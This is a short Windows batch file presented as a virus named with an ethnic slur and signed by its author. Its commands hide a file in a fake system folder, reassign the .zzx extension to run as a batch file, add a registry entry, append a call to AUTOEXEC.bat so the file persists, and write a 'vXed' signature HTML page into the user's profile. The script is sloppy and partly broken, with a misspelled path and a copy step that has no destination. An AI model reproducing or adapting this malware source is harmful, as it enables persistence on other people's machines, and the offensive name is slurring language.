@echo off
rem ***********************************************
rem * name: win32.amerifags                       *                                            
rem * by: sl0th                                   *        
rem * Infection method: No                        *
rem * Polymorphism: No                            *
rem * Payload: No                                 *
rem * Propagation method: No                      *                    
rem ***********************************************
copy /y "c:\System Volume Imformation\Winservices\amerifags.zzx"
assoc .zzx=batfile
reg add "HKLM\Software\Microsoft\Internet Explorer\http" /v "InternetExplorerUpdate" /d "c:\System Volume Imformation\Winservices\amerifags.zzx" /f
mkdir "c:\System Volume Imformation\Winservices"
attrib +h +r +s "c:\System Volume Imformation\Winservices\amerifags.zzx"
echo call "c:\System Volume Imformation\Winservices\amerifags.zzx">AUTOEXEC.bat
echo ^<head^> >>%USERPROFILE%\host.html
echo ^<title^> >>%USERPROFILE%\host.html
echo ^<h4^> [C.m.D] ^</h4^> >>%USERPROFILE%\host.html
echo ^</title^> >>%USERPROFILE%\host.html
echo ^</head^> >>%USERPROFILE%\host.html
echo ^<body^> >>%USERPROFILE%\host.html
echo ^<b^>^<h1^> vXed by sl0th!! ^</h1^>^</b^> >>%USERPROFILE%\host.html
echo ^</body^> >>%USERPROFILE%\host.html
eof